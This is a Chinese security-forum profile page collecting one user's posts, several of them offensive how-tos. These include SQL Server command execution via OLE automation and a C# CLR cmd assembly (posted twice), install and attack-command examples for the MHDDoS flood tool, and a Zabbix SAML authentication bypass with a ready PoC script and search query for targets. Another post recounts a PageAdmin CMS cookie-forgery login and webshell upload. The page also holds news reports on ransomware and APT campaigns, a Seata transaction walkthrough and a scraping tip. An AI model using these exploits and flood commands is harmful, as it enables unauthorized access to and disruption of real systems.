跳转到帖子

CNHAT

团队成员
  • 注册日期

  • 上次访问

CNHAT 发布的所有帖子

  1. 官网地址:https://seata.apache.org/zh-cn/ AT模式 优点:无侵入式代码,只需要添加注解,底层采用Seata代理的数据源DataSourceProxy 缺点:依赖于数据库,目前只适用于postgresql、oracle、mysql、polardb-x、sqlserver、达梦数据库等数据库,比如业务逻辑中含有redis、es等操作需要控制事务,无法实现,可以使用TCC模式 客户端 <dependency> <groupId>io.seata</groupId> <artifactId>seata-spring-boot-starter</artifactId> <version>2.0.0</version> </dependency> 首先从源码查起,自动配置首先可以看到这两个,是比较核心的,SeataAutoConfiguration负责扫描@GlobalTransactional注解以及@GlobalLock注解,生成代理类,SeataDataSourceAutoConfiguration主要生成DataSourceProxy代理类以及PreparedStatementProxy或StatementProxy都使用的是Seata的代理类 io.seata.spring.boot.autoconfigure.SeataAutoConfiguration, io.seata.spring.boot.autoconfigure.SeataDataSourceAutoConfiguration, GlobalTransactionScanner类会首先扫描带@GlobalTransactional注解的类,其次在bean注入完成后 注册TM以及RM,主要逻辑还是生成GlobalTransactional注解的代理方法 首先会在postProcessAfterInitialization初始化之后wrapIfNecessary也就是包装一层,这个方法所有bean都会执行一遍,为了过滤会进行一次初步筛选 会对包名判断以及去除Configuration类,然后会判断是否存在GlobalTransactional或GlobalLock注解,代理最重要的MethodInterceptor,所有的处理逻辑都将会在这个拦截器执行只不过这里大概封装了三四层,因为TCC需要走不同的逻辑, 这里以官网例子举例,当调用purchase方法时会执行GlobalTransactionalInterceptorHandler#doInvoke方法 然后执行TransactionalTemplate#execute,首先判断事务的传播机制,默认为REQUIRED,会创建新的事务,以下为代理方法的核心逻辑,创建分布式事务,提交事务以及回滚事务 beginTransaction表示开启事务,第一次与服务端交互,拿到全局锁,返回一个xid, 第二步business.execute表示执行真正执行purchase方法,但是执行的过程中务必会有数据库的操作,所以先看DataSource的代理逻辑 DataSource方法代理 同上,继承了AbstractAutoProxyCreator,如果判断bean类型为DataSource,生成代理类之后放入DataSourceProxyHolder,类型为<origin, proxy>的缓存当中, 当调用DataSource方法的时候,再从DataSourceProxyHolder取出来,这样实际调用的就是代理类的方法, 其中DataSourceProxy中Connection以及Statement均用的seata的代理类 这里以更新为例,扣减库存数量,库存-2 最终执行executeUpdate方法,在获取Connection的时候获取到的是代理之后的ConnectionProxy 一阶段 ExecuteTemplate#execute方法会判断执行sql类型,以UpdateExecutor为例,下面再执行sql的时候添加了额外的逻辑,这也是AT模式可以回滚的关键, statementCallback.execute会在执行业务sql的前后添加镜像,首先看beforeImage,还是以update为例,beforeImage记录更新之前的数据,在更新之前会先查询表结构,获得当前事务表的所有列及索引, 但是这里查询结构不是通过information_schema.tables,以stock_tbl 为例执行的sql为SELECT * FROM stock_tbl LIMIT 1,再通过ResultSetMetaData以及DatabaseMetaData可以获得当前表的所有列及索引,当然这不是每次执行都必须的,只有第一次会查询limit 1语句,后续会放入本地缓存caffeine中,然后根据where条件以及索引来生成查询语句,执行查询得到记录生成beforeImage SELECT id, count FROM stock_tbl WHERE commodity_code = ? FOR UPDATE 然后执行业务代码,执行完成之后生成afterImage,通过beforeImage和afterImage生成undolog 然后执行代理类的事务提交,在提交的时候也大有来头,首先向TM注入分支, 然后插入undo_log,这个Insert会加入当前事务,可以通过 select * from performance_schema.data_locks 查看当前锁 如果在commit当前本地事务的时候发生异常,会上报给TM,会立马进行回滚本地事务, 二阶段—提交 当所有一阶段执行完成之后,由TM开始提交全局事务,TransactionalTemplate#execute 然后TC会向RM发起分支提交请求,在AbstractNettyRemoting#processMessage收到消息之后进行分支的提交,在异步任务提交的时候,AsyncWorker#dealWithGroupedContexts 同时会删除undo_log日志, 至此,提交完事务,整个流程就结束了 二阶段-回滚 如果执行过程中发生了满足条件的异常,TM会向TC发送异常回滚的请求,收到TC回滚请求的RM通过XID与branchId查找undoLog DataSourceManager#branchRollback 会拿到后镜像与当前数据进行做对比,如果一致,说明被当前事务之外的操作做了处理,如果不一致生成回滚sql,并且删除当前undolog,提交事务并将结果上报给TC
  2. 利用COM执行命令 (需要开启Ole Automation Procedures组件) declare @luan int,@exec int,@text int,@str varchar(8000); exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'; exec sp_oamethod @exec, 'StdOut', @text out; exec sp_oamethod @text, 'readall', @str out; select @str; 没有开启Ole Automation Procedures,可以用下面的命令开启 sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; GO 编写CLR实现执行命令 编写语言:C# Vs创建类库 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System; using System.Threading.Tasks; namespace shellexec { public class exec { public static string cmd(string command) { System.Diagnostics.Process pro = new System.Diagnostics.Process(); pro.StartInfo.FileName = "cmd.exe"; pro.StartInfo.UseShellExecute = false; pro.StartInfo.RedirectStandardError = true; //标准错误 pro.StartInfo.RedirectStandardInput = true; //标准输入 pro.StartInfo.RedirectStandardOutput = true; //标准输出 pro.StartInfo.CreateNoWindow = true; //是否在新窗口开启进程 pro.Start(); pro.StandardInput.WriteLine(command + "&&exit"); //命令参数写入 pro.StandardInput.AutoFlush = true; //缓冲区自动刷新 string output = pro.StandardOutput.ReadToEnd(); //读取执行结果 pro.WaitForExit(); //等待执行完成退出 pro.Close(); return output.ToString(); } } } 生成dll后,可以用hex的方法写到目标,或者shell上传。然后开始构造 1.目标数据库实例需要启用clr集成 exec sp_configure 'clr enabled', 1;--在SQL Server中启用CLR reconfigure; go 2.目标数据库的可信任属性需要设为false,可以使用以下语句启用 ALTER DATABASE [<数据库名称>] SET TRUSTWORTHY ON 3.在数据库中注册DLL CREATE ASSEMBLY MySqlCLR FROM '<dll的路径>' //MySqlCLR为导入dll后的变量名称 4.创建函数 (根据对应函数的类型的参数构造对应的参数类型,然后RETURNS [nvarchar] (max)记得设置为返回最大如果是返回string类型的话),在直接这个dll的名称在那个命名空间、类、函数) CREATE FUNCTION [dbo].[cmd2] ( @cmd AS NVARCHAR(max) ) RETURNS [nvarchar] (max) WITH EXECUTE AS CALLER AS EXTERNAL NAME [MySqlCLR].[shellexec.exec].cmd //shellexec为命名空间,exec为类名,cmd为函数名 GO 5.程序集的权限级别必须设为 external access,否则在部署的时候会报错 ALTER ASSEMBLY [MySqlCLR] WITH PERMISSION_SET = UNSAFE 6.调用存储过程和函数方法 select [dbo].[cmd2]('whoami')
  3. 位于美国的公司一直处于“激进的”Qakbot 恶意软件活动的接收端,该活动导致受感染网络上的 Black Basta 勒索软件感染。 Cybereason 研究人员 Joakim Kandefelt 和 Danielle Frankel在与黑客新闻分享的一份报告中说: “在最近的这次活动中,Black Basta 勒索软件团伙正在使用 QakBot 恶意软件创建初始入口点并在组织网络内横向移动。” 2022 年 4 月出现的 Black Basta 遵循久经考验的双重勒索方法,从目标公司窃取敏感数据,并以此为杠杆,通过威胁发布被盗信息来勒索加密货币支付。 这不是第一次观察到勒索软件团队使用 Qakbot(又名 QBot、QuackBot 或 Pinkslipbot)。上个月,趋势科技披露了类似的攻击,这些攻击需要使用 Qakbot 来提供Brute Ratel C4框架,而该框架又被用来放弃 Cobalt Strike。 Cybereason 观察到的入侵活动从等式中删除了 Brute Ratel C4,而是使用 Qakbot 直接在受感染环境中的多台机器上分发 Cobalt Strike。 攻击链从一封带有恶意磁盘映像文件的鱼叉式网络钓鱼电子邮件开始,该文件在打开时启动 Qbot 的执行,而 Qbot 则连接到远程服务器以检索 Cobalt Strike 有效载荷。 在此阶段,执行凭证收集和横向移动活动以将红队框架放置在多个服务器上,然后使用收集到的密码破坏尽可能多的端点并启动 Black Basta 勒索软件。 研究人员指出:“威胁行为者在不到两小时内获得了域管理员权限,并在不到 12 小时内转移到勒索软件部署,”并补充说,过去两周有 10 多个不同的客户受到了新一轮攻击的影响。 在以色列网络安全公司发现的两个实例中,入侵不仅部署了勒索软件,还通过禁用 DNS 服务将受害者锁定在他们的网络之外,以使恢复更具挑战性。 Black Basta 仍然是一个非常活跃的勒索软件攻击者。根据Malwarebytes收集的数据,勒索软件卡特尔仅在 2022 年 10 月就成功地将 25 家公司作为目标,排在LockBit、Karakurt和BlackCat 之后。
  4. 为什么会有这种问题。。
  5. 为什么会有这种问题。。
  6. 透明部落威胁参与者与针对印度政府组织的新活动有关,该活动使用名为Kavach的双因素身份验证解决方案的木马化版本。 Zscaler ThreatLabz 研究员 Sudeep Singh在周四的分析中表示: “该组织滥用 Google 广告进行恶意广告,以分发 Kavach 多重身份验证 (MFA) 应用程序的后门版本。” 这家网络安全公司表示,高级持续性威胁组织还进行了小规模的凭据收集攻击,其中建立了伪装成印度政府官方网站的流氓网站,以引诱不知情的用户输入密码。 透明部落,也被称为 APT36、C-Major 和 Mythic Leopard 的绰号,是一个可疑的巴基斯坦敌对团体,有打击印度和阿富汗实体的历史。 最新的攻击链并不是威胁行为者第一次将目光投向 Kavach(在印地语中意为“盔甲”),这是一个强制应用程序,用户必须在 @gov.in 和 @nic.in 域上拥有电子邮件地址才能签名进入电子邮件服务作为第二层身份验证。 今年 3 月初,Cisco Talos发现了一场黑客活动,该活动使用 Kavach 的假 Windows 安装程序作为诱饵,用 CrimsonRAT 和其他人工制品感染政府人员。 他们常用的策略之一是模仿合法的政府、军队和相关组织来激活杀伤链。威胁行为者进行的最新活动也不例外。 “威胁行为者注册了多个新域托管伪装成官方 Kavach 应用程序下载门户的网页,”辛格说。“他们滥用 Google Ads 的付费搜索功能,将恶意域名推到印度用户的 Google 搜索结果顶部。” Since May 2022, Transparent Tribe is also said to have distributed backdoored versions of the Kavach app through attacker-controlled application stores that claim to offer free software downloads. This website is also surfaced as a top result in Google searches, effectively acting as a gateway to redirect users looking for the app to the .NET-based fraudulent installer. The group, beginning August 2022, has also been observed using a previously undocumented data exfiltration tool codenamed LimePad, which is designed to upload files of interest from the infected host to the attacker's server. Zscaler said it also identified a domain registered by Transparent Tribe spoofing the login page of the Kavach app that was only displayed accessed from an Indian IP address, or else redirected the visitor to the home page of India's National Informatics Centre (NIC). The page, for its part, is equipped to capture the credentials entered by the victim and send them to a remote server for carrying out further attacks against government-related infrastructure. The use of Google ads and LimePad points to the threat actor's continued attempts at evolving and refining its tactics and malware toolset. “APT-36 仍然是最流行的高级持续性威胁组织之一,专注于针对在印度政府组织工作的用户,”辛格说。“印度政府组织内部使用的应用程序是 APT-36 小组使用的社会工程主题的热门选择。”
  7. 注意事项: 仅可作为研究具备授权的测试使用。 未经所有者同意,请勿用于攻击。 特点和方法 ?第 7 层 GET|GET洪水 POST| POST洪水 OVH | 绕过OVH RHEX | 随机十六进制 STOMP | 绕过 chk_captcha STRESS | 发送高字节的 HTTP 数据包 DYN | 一种带有随机子域的新方法 DOWNLOADER | 一种慢读数据的新方法 SLOW | Slowloris 旧的 DDoS 方法 HEAD | hdeveloper.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD NULL | 空用户代理和… COOKIE | 随机 Cookie PHP ‘if (isset($_COOKIE))’ PPS | 只有 ‘GET / HTTP/1.1\r\n\r\n’ EVEN | 带有更多标头的 GET 方法 GSB | 谷歌项目屏蔽绕过 DGB | DDoS 防护绕过 AVB | Arvan 云绕过 BOT | 像谷歌机器人 阿帕奇 | 阿帕奇漏洞 XMLRPC | WP XMLRPC expliot(添加 /xmlrpc.php) CFB | CloudFlare 绕过 CFBUAM | 攻击模式下的 CloudFlare 绕过 BYPASS | 绕过正常的AntiDDoS BOMB | 绕过codeenberg/bombardier ?KILLER | 运行多个线程来杀死一个目标 ?TOR | 绕过洋葱网站 ?第 4 层: 技术支持 | TCP 洪水绕过 UDP | UDP洪水绕过 SYN | SYN 洪水 CPS | 使用代理打开和关闭连接 ICMP | Icmp 回显请求洪水(Layer3) 连接| 使用代理打开连接 VSE | 发送 Valve Source Engine 协议 TS3 | 发送 Teamspeak 3 状态 Ping 协议 FIVEM | 发送 Fivem 状态 Ping 协议 MEM | Memcached 放大 NTP | NTP 放大 MCBOT | 我的世界机器人攻击 MINECRAFT | Minecraft 状态 Ping 协议 MCPE | Minecraft PE 状态 Ping 协议 DNS | DNS 放大 CHAR | 电荷放大 CLDAP | Cldap扩增 ARD | Apple 远程桌面放大攻击 RDP | 远程桌面协议放大攻击 ⚙️工具 – 运行 python3 start.py tools ?CFIP | 查找由 Cloudflare 提供支持的网站的真实 IP 地址 ?DNS | 显示站点的 DNS 记录 ? TSSRV | TeamSpeak SRV 解析器 ⚠ PING | PING 服务器 ?CHECK | 检查网站状态 ?DSTAT | 显示接收的字节数、发送的字节数及其数量 ?其他 ❌STOP | 停止所有攻击 ?TOOLS | 控制台工具 ?HELP | 显示使用脚本 安装条件 Requirements dnspython cfscrape impacket requests Python3 PyRoxy icmplib certifi psutil yarl 下载地址 github.com/MatrixTM/MHDDoS 2.4.zip 云中转网盘: yunzhongzhuan.com/#sharefile=Ac5FNRm3_98239 解压密码:www.ddosi.org 安装方法 自动安装 git clone https://github.com/MatrixTM/MHDDoS.git cd MHDDoS pip install -r requirements.txt DockerFile docker pull ghcr.io/mhprodev/mhddos:latest 手动安装 python3 -m pip install cfscrape<=2.1.1 python3 -m pip install certifi<=2021.10.8 python3 -m pip install dnspython>=2.2.0 python3 -m pip install requests==2.27.1 python3 -m pip install impacket==0.9.23 python3 -m pip install psutil>=5.9.0 python3 -m pip install icmplib>=2.1.1 python3 -m pip install git+https://github.com/MHProDev/PyRoxy.git python3 -m pip install yarl~=1.7.2 VPS 上的单行安装 apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential ruby perl golang git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt 使用方法 视频 Aparat:https ://www.aparat.com/v/bHcP9 教程 Aparat:https ://aparat.com/v/XPn5Z 文档: https://github.com/MatrixTM/MHDDoS/wiki 脚本用法 第七层: python3 start.py <1=method> <2=url> <3=socks_type> <4=threads> <5=proxylist> <6=rpc> <7=duration> <8=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:代理版本(代理使用) 4:代理文件(代理文件格式) 5:要使用的线程数(多线程) 6:RPC(请求预连接) 7:持续时间(以秒为单位完成攻击的时间) 8:调试模式(可选) 第 4 层正常: python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:要使用的线程数(多线程) 4:持续时间(以秒为单位完成攻击的时间) 5:调试模式(可选 –什么是调试模式) 第 4 层代理: python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=socks_type> <6=proxylist> <7=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:要使用的线程数(多线程) 4:持续时间(以秒为单位完成攻击的时间) 5:代理版本(代理使用) 6:代理文件(代理文件格式) 7:调试模式(可选) 第 4 层放大: python3 MHDDoS/start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=reflector file> <6=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:要使用的线程数(多线程) 4:持续时间(以秒为单位完成攻击的时间) 5:反射器文件(反射器文件) 6:调试模式(可选) 使用示例 第 7 层(网站): # Running bypass attack from 101 threads, # with socks 5, 100 requests per proxy (connection), for 3600 seconds python start.py bypass https://example.com 5 101 socks5.txt 100 3600 # Running bomb attack from 50 threads (be careful must be < 300) # with all proxies (0), 100 requests per proxy (connection), for 3600 seconds python start.py bomb https://example.com 0 50 proxy.txt 100 3600 第 4 层(服务器/家庭): # Running udp attack from 1 threads, for 3600 seconds python start.py udp 1.1.1.1:53 1 3600 # Running dns attack from 100 threads, for 3600 seconds # with reflector servers from dns.txt, for 3600 seconds python start.py dns 1.1.1.1:53 100 3600 dns.txt # Running minecraft attack from 1000 threads # with socks 5, for 3600 seconds python start.py minecraft 1.1.1.1:53 1000 3600 5 socks5.txt 调试模式(攻击状态日志) python start.py bypass https://example.com 5 1000 socks5.txt 100 100 true python start.py udp 1.1.1.1:53 1 100 true python start.py dns 1.1.1.1:53 1 100 dns.txt true python start.py minecraft 1.1.1.1:53 1 100 5 socks5.txt true 帮助命令: python start.py tools python start.py help 代理支持清单 代理文件格式: <Type>://<Host>:<Port>:<User=Optional>:<Password=Optional> 例如: socks5://1.1.1.1:20001 socks4://1.1.1.1:46527 http://1.1.1.1:443:username:password http://1.1.1.1:80 代理类型 代理类型 参数 所有代理 0 HTTP 1 SOCKS4 4 SOCKS5 5 RANDOM 6 使用代理到第四层的方法 代理类型 MINECRAFT MCBOT MEM RDP NTP TCP ARD VSE SYN UDP CHAR HTTP ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS4 ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS5 ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ Proxy Type CONNECTION CPS DNS TS3 MCPE CLDAP FIVEM HTTP ✅ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS4 ✅ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS5 ✅ ✅ ❌ ❌ ❌ ❌ ❌ 使用代理到第7层的方法 代理类型 COOKIE BYPASS OVH DGB STRESS DOWNLOADER BOMB NULL AVB GET HTTP ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ ✅ ✅ ✅ ❌ ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 代理类型 CFB POST EVEN DYN GSB XMLRPC SLOW BOT PPS CFBUAM APACHE HTTP ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 代理类型 KILLER RHEX STOMP HTTP ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ 测试截图 └─# python3 start.py * MHDDoS - DDoS Attack Script With 52 Methods Note: If the Proxy list is empty, the attack will run without proxies If the Proxy file doesn't exist, the script will download proxies and check them. Proxy Type 0 = All in config.json SocksTypes: - 6 = RANDOM - 5 = SOCKS5 - 4 = SOCKS4 - 1 = HTTP - 0 = ALL > Methods: - Layer4 | MINECRAFT, VSE, MCPE, DNS, TCP, CHAR, RDP, MEM, NTP, CONNECTION, CLDAP, CPS, SYN, TS3, MCBOT, FIVEM, ARD, UDP | 18 Methods - Layer7 | GSB, GET, KILLER, APACHE, DGB, NULL, STRESS, COOKIE, XMLRPC, BOT, TOR, HEAD, POST, BYPASS, BOMB, DYN, CFBUAM, OVH, EVEN, SLOW, PPS, DOWNLOADER, AVB, CFB | 24 Methods - Tools | CFIP, DSTAT, PING, INFO, CHECK, DNS, TSSRV | 7 Methods - Others | TOOLS, HELP, STOP | 3 Methods - All 52 Methods Example: L7: python3 start.py <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional> L4: python3 start.py <method> <ip:port> <threads> <duration> L4 Proxied: python3 start.py <method> <ip:port> <threads> <duration> <socks_type> <proxylist> L4 Amplification: python3 start.py <method> <ip:port> <threads> <duration> <reflector file (only use with Amplification)> 项目地址 GitHub: https://github.com/MatrixTM/MHDDoS
  8. 国内外,看你怎么选择。
  9. 一、简介 zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。 zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上。 该漏洞源于在启用 saml SSO 身份验证(非默认)的情况下,未身份验证的攻击者可以修改会话数据,成功绕过前台进入后台,因为存储在会话中的用户登录未经过验证。 漏洞的限制条件:需要启用 SAML 身份验证,并且攻击者必须知道 Zabbix 用户的用户名。 二、FOFA语法 app=“ZABBIX-监控系统” && body=“SAML” 三、复现流程 1、通过fofa语法搜索zabbix资产访问首页获取set-cookie中zbx_session参数的值 2、通过Url解码和Base64解码获得zbx_session参数Json格式数据 {"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="} 3、通过在Json中添加saml_data和username_attribute参数后重新Base64编码和Url编码构造Payload {"saml_data":{"username_attribute":"Admin"},"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="} 4、把构造好的payload进行base64编码和url编码 %65%79%4a%7a%59%57%31%73%58%32%52%68%64%47%45%69%4f%6e%73%69%64%58%4e%6c%63%6d%35%68%62%57%56%66%59%58%52%30%63%6d%6c%69%64%58%52%6c%49%6a%6f%69%51%57%52%74%61%57%34%69%66%53%77%69%63%32%56%7a%63%32%6c%76%62%6d%6c%6b%49%6a%6f%69%4e%6a%64%6d%4e%7a%45%7a%4e%54%56%6c%59%6a%6b%32%4d%54%49%78%5a%6a%4d%34%4e%47%56%68%4d%44%55%33%4d%54%49%35%4d%47%5a%68%59%32%45%69%4c%43%4a%7a%61%57%64%75%49%6a%6f%69%56%58%6c%78%4d%6b%4a%59%55%57%5a%6c%4e%55%6c%31%5a%7a%52%56%51%6e%42%31%59%33%64%78%4d%31%42%59%51%57%31%57%61%44%42%6a%64%48%42%53%4e%48%42%32%52%57%5a%36%5a%31%77%76%54%31%64%6c%4e%31%52%4c%61%47%31%42%55%57%52%78%65%58%55%31%61%56%56%74%64%46%64%36%55%56%49%72%4d%47%30%7a%4d%32%56%52%51%6b%68%75%61%7a%46%57%56%69%74%4a%54%7a%42%70%59%30%46%52%50%54%30%69%66%51%3d%3d 5、请求index_sso.php,在http请求头中构造payload,将zbx_session的值替换为url编码后的payload 6、成功登录后台 可利用poc直接获取构造后的payload poc: import requests import re import urllib.parse import base64 import json import sys def exp(target, username): resp = requests.get(url=target, verify=False) cookie = resp.headers.get("Set-Cookie") zbx_session = re.findall(r"zbx_session=(.*?); ", cookie) url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8') base64_decode_data = base64.b64decode(url_decode_data) decode_to_str = str(base64_decode_data, encoding='utf-8') to_json = json.loads(decode_to_str) tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"]) payloadJson = json.dumps(tmp_ojb) print("decode_payload:", payloadJson) payload = urllib.parse.quote(base64.b64encode(payloadJson.encode())) print("zbx_signed_session:", payload) if __name__ == "__main__": if len(sys.argv) != 3: print("argv error") exit(0) target = sys.argv[1] username = sys.argv[2] exp(target, username)
  10. 0x00前言 这是上周hw中遇到的一个cms,记录一下,防止以后遇到忘记利用点(手动狗头) 0x01介绍 PageAdmin Cms是一款基于asp.net mvc开发的自助建站系统,于2008年发布,从最开始的2.0版本到目前的4.0版本,强大的后台管理功能,良好的用户操作体验,开发式的功能扩展,让各种类型网站制作更加便捷和灵活。 0x02开搞!!! 网页内容太多,全码了 往下滑,一般会底部写着PageAdmin cms 直接+一手master看是不是常规后台 很显然不是,御剑大法好,开梭 进后台页面测试弱口令,默认用户为admin 简单测试了几个弱口令,一般是不存在了,直接利用百度出来的exp冲一波(乌云大表哥的)。 exp:Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f&Permissions=1 在后台登陆页面的控制栏中加入document.cookie=”exp”,回车后访问index.aspx 进入之后找利用点getshell咯,看网上表哥的文章说是阉割版,主流的增加专题getshell我直接排除了,利用表哥新思路。 自定义表单->增加新表单(输入表单名称) 之后点击字段管理、增加字段, 输入字段标题、字段名称、表单数据(文件file)、允许扩展名输入.asxh, 然后点击增加 这里可以直接上传.ashx文件,上传aspx会直接删掉。 绝绝子,干了一天活,文章没写完,人家把后台给给改名了,也没扫出来!!!!!!!!! 总的来说上传.ashx文件,然后检测如果带有page字样会上传不成功,这里选择不带有page字样的马。 这里我用的是一个cmd马(马被删了,绝绝子,没有截图了),就到这了。
  11. 一直想爬微信公众号然后整成一个bot。试过好几次 最终都以失败告终。昨天折腾了一晚上,利用搜狗的微信爬取弄好了 爬取的方法 网上能搜到的爬取方法: 微信公众号平台接口抓取|限制:微信KEY有限制,30-40分钟内就会过期。请求次数超过10-20次被封 搜狗公众号爬取 | 缺陷:只能获取公众号最新更新的一条文章 爬取实现 这里是用第二种方法,方法如下 搜狗微信公众号搜索对应公众号:https://weixin.sogou.com/weixin?type=1&query=bibacps&ie=utf8 获取文章链接 然后请求这个链接得到wx文章的链接 经过测试,发现并无cookie等效验。访问https://weixin.sogou.com/<sougou_wx_lnk>就可以获取wx文章url。但是,请求次数太多就会出现验证码,只有cookie对了才不会有验证码 google后得到解决方法: 随机UA头 每次请求之前先获取搜狗子域名cookie 参考链接:https://blog.csdn.net/weixin_43881394/article/details/107768458 获取子域名cookie import requests def getcookie(): #从搜狗视频获取cookie,防止傻逼搜狗机制检测 url = 'https://v.sogou.com/v?ie=utf8&query=&p=40030600' headers = {'User-Agent': UserAgent().random} rst = requests.get(url=url,headers=headers,allow_redirects=False) cookies = rst.cookies.get_dict() return cookies 爬取到wx文章链接后入库 最终效果如下 Github:https://github.com/422926799/note/tree/master/%E8%87%AA%E5%B7%B1%E5%86%99%E7%9A%84%E5%B7%A5%E5%85%B7/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E7%88%AC%E5%8F%96 爬虫小技巧 爬取大型站点(例如:google.com) 可能会遇到的问题: * 请求次数过多导致验证码 * Cookie判断是否多次请求 解决发方法 * 随机IP代理 * 随机UA头 * SESSION请求 * 针对Cookie判断是否多次请求 (这种大型站点cookie生成机制都是一致的,可以请求这种站点的子域名获取cookie。每次请求之前,先从子域名获取cookie然后在用这个cookie请求要爬取的站点) * 延时请求 遇见CSRF TOKEN效验 * TOKEN效验 * COOKIE效验 解决方法: * 这种CRSF TOKEN一般在当前页面存在TOKEN,先获取TOKEN在去请求 指定某个地区的IP请求 解决方法: * 使用对应地区的IP请求
  12. 利用COM执行命令 (需要开启Ole Automation Procedures组件) declare @luan int,@exec int,@text int,@str varchar(8000); exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'; exec sp_oamethod @exec, 'StdOut', @text out; exec sp_oamethod @text, 'readall', @str out; select @str; 没有开启Ole Automation Procedures,可以用下面的命令开启 sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; GO 编写CLR实现执行命令 编写语言:C# Vs创建类库 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System; using System.Threading.Tasks; namespace shellexec { public class exec { public static string cmd(string command) { System.Diagnostics.Process pro = new System.Diagnostics.Process(); pro.StartInfo.FileName = "cmd.exe"; pro.StartInfo.UseShellExecute = false; pro.StartInfo.RedirectStandardError = true; //标准错误 pro.StartInfo.RedirectStandardInput = true; //标准输入 pro.StartInfo.RedirectStandardOutput = true; //标准输出 pro.StartInfo.CreateNoWindow = true; //是否在新窗口开启进程 pro.Start(); pro.StandardInput.WriteLine(command + "&&exit"); //命令参数写入 pro.StandardInput.AutoFlush = true; //缓冲区自动刷新 string output = pro.StandardOutput.ReadToEnd(); //读取执行结果 pro.WaitForExit(); //等待执行完成退出 pro.Close(); return output.ToString(); } } } 生成dll后,可以用hex的方法写到目标,或者shell上传。然后开始构造 1.目标数据库实例需要启用clr集成 exec sp_configure 'clr enabled', 1;--在SQL Server中启用CLR reconfigure; go 2.目标数据库的可信任属性需要设为false,可以使用以下语句启用 ALTER DATABASE [<数据库名称>] SET TRUSTWORTHY ON 3.在数据库中注册DLL CREATE ASSEMBLY MySqlCLR FROM '<dll的路径>' //MySqlCLR为导入dll后的变量名称 4.创建函数 (根据对应函数的类型的参数构造对应的参数类型,然后RETURNS [nvarchar] (max)记得设置为返回最大如果是返回string类型的话),在直接这个dll的名称在那个命名空间、类、函数) CREATE FUNCTION [dbo].[cmd2] ( @cmd AS NVARCHAR(max) ) RETURNS [nvarchar] (max) WITH EXECUTE AS CALLER AS EXTERNAL NAME [MySqlCLR].[shellexec.exec].cmd //shellexec为命名空间,exec为类名,cmd为函数名 GO 5.程序集的权限级别必须设为 external access,否则在部署的时候会报错 ALTER ASSEMBLY [MySqlCLR] WITH PERMISSION_SET = UNSAFE 6.调用存储过程和函数方法 select [dbo].[cmd2]('whoami') 参考链接: https://blog.csdn.net/catchme_439/article/details/78411009 https://zhuanlan.zhihu.com/p/33322584?from_voters_page=true
